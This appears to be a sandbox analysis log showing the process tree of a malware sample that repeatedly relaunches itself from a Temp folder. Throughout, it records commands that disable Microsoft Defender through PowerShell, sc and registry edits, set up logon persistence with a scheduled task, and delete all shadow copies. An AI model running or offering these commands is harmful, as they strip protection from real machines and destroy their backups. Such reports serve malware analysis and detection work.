        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:10736
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        24⤵
        
        PID:11128
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:12300
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        26⤵
        
        PID:13016
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:14916
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        28⤵
        
        PID:16400
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2"
        29⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:17572
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        26⤵
        
        PID:18848
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        26⤵
        
        PID:9148
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:5048
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        16⤵
        
        PID:18184
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2"
        11⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6604
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        10⤵
        
        PID:17984
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        8⤵
        
        PID:17252
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        6⤵
        
        PID:16720
    - - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        5⤵
        
        PID:7844
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
      4⤵
      PID:16528
    - - C:\Windows\system32\sc.exe
        
        sc config WinDefend start=disabled
        5⤵
        Launches sc.exe
        
        PID:17268
- - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    3⤵
    PID:9320
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
      4⤵
      PID:4228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc start "HelperHost" 2>nul
  2⤵
  PID:16448

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:464

C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:2240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3632
- - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2136
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2496
    - - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        5⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:2908
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3568
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:4960
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3800
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:1196
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:2980
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        Suspicious use of WriteProcessMemory
        
        PID:4820
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        12⤵
        Suspicious use of WriteProcessMemory
        
        PID:3732
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:5024
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        14⤵
        Suspicious use of WriteProcessMemory
        
        PID:4276
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:3400
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        16⤵
        Suspicious use of WriteProcessMemory
        
        PID:3032
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:4372
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        18⤵
        Suspicious use of WriteProcessMemory
        
        PID:3980
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:5160
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        20⤵
        Suspicious use of WriteProcessMemory
        
        PID:5304
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        Suspicious use of WriteProcessMemory
        
        PID:5400
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        22⤵
        
        PID:5480
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:5584
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        24⤵
        
        PID:5668
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        
        PID:5764
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        26⤵
        
        PID:5848
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:5944
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        28⤵
        
        PID:6032
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        29⤵
        Checks computer location settings
        
        PID:6136
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        30⤵
        
        PID:5896
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        31⤵
        Checks computer location settings
        
        PID:6208
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        32⤵
        
        PID:6300
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        33⤵
        
        PID:6412
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        34⤵
        
        PID:6520
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        35⤵
        
        PID:6664
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        36⤵
        
        PID:6780
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        37⤵
        
        PID:6888
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        38⤵
        
        PID:6984
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        39⤵
        Modifies WinLogon for persistence
        Adds policy Run key to start application
        Boot or Logon Autostart Execution: Active Setup
        Boot or Logon Autostart Execution: Port Monitors
        Event Triggered Execution: Image File Execution Options Injection
        Sets service image path in registry
        Registers new Windows logon scripts automatically executed at logon.
        Adds Run key to start application
        
        PID:7060
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        40⤵
        
        PID:7148
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        41⤵
        
        PID:6956
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        42⤵
        
        PID:7232
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        43⤵
        
        PID:7312
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        44⤵
        
        PID:7400
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        45⤵
        
        PID:7480
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        46⤵
        
        PID:7568
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        47⤵
        
        PID:7648
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        48⤵
        
        PID:7760
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        49⤵
        Checks computer location settings
        
        PID:7976
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        50⤵
        
        PID:8124
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        51⤵
        
        PID:7808
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        52⤵
        
        PID:7956
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        53⤵
        
        PID:8296
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        54⤵
        
        PID:8384
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        55⤵
        Checks computer location settings
        
        PID:8528
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        56⤵
        
        PID:8632
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        57⤵
        
        PID:8852
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        58⤵
        
        PID:8984
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        59⤵
        Checks computer location settings
        
        PID:9136
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        60⤵
        
        PID:8332
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        61⤵
        Checks computer location settings
        
        PID:9296
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        62⤵
        
        PID:9428
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        63⤵
        Checks computer location settings
        
        PID:9600
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        64⤵
        
        PID:9772
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        65⤵
        Modifies WinLogon for persistence
        Adds policy Run key to start application
        Boot or Logon Autostart Execution: Active Setup
        Boot or Logon Autostart Execution: Port Monitors
        Event Triggered Execution: Image File Execution Options Injection
        Sets service image path in registry
        Checks computer location settings
        Registers new Windows logon scripts automatically executed at logon.
        Adds Run key to start application
        
        PID:9912
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        66⤵
        
        PID:10068
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        67⤵
        
        PID:9452
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        68⤵
        
        PID:10396
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        69⤵
        
        PID:10984
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        70⤵
        
        PID:11472
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        71⤵
        Checks computer location settings
        
        PID:12836
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        72⤵
        
        PID:13432
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        73⤵
        
        PID:14848
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        74⤵
        
        PID:16496
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        73⤵
        
        PID:4036
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        72⤵
        
        PID:19640
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        72⤵
        
        PID:18120
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        69⤵
        
        PID:8064
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2"
        69⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:19880
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f 2>nul
        66⤵
        
        PID:9196
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        67⤵
        
        PID:1192
        
        C:\Windows\system32\cmd.exe
        
        cmd.exe /c schtasks /Create /F /SC ONLOGON /TN "NetProc" /TR "\"C:\Users\Admin\AppData\Roaming\MsMonitor.exe\"" /RL HIGHEST
        66⤵
        
        PID:20108
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        67⤵
        
        PID:3880
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        62⤵
        
        PID:16368
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        62⤵
        
        PID:764
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        59⤵
        
        PID:15844
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2"
        59⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:15772
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        57⤵
        
        PID:8944
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        56⤵
        
        PID:14388
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        56⤵
        
        PID:16344
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        57⤵
        
        PID:19288
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        56⤵
        
        PID:20048
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        54⤵
        
        PID:17036
        
        C:\Windows\system32\sc.exe
        
        sc config WinDefend start=disabled
        55⤵
        Launches sc.exe
        
        PID:18052
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        54⤵
        
        PID:18988
        
        C:\Windows\System32\cmd.exe
        
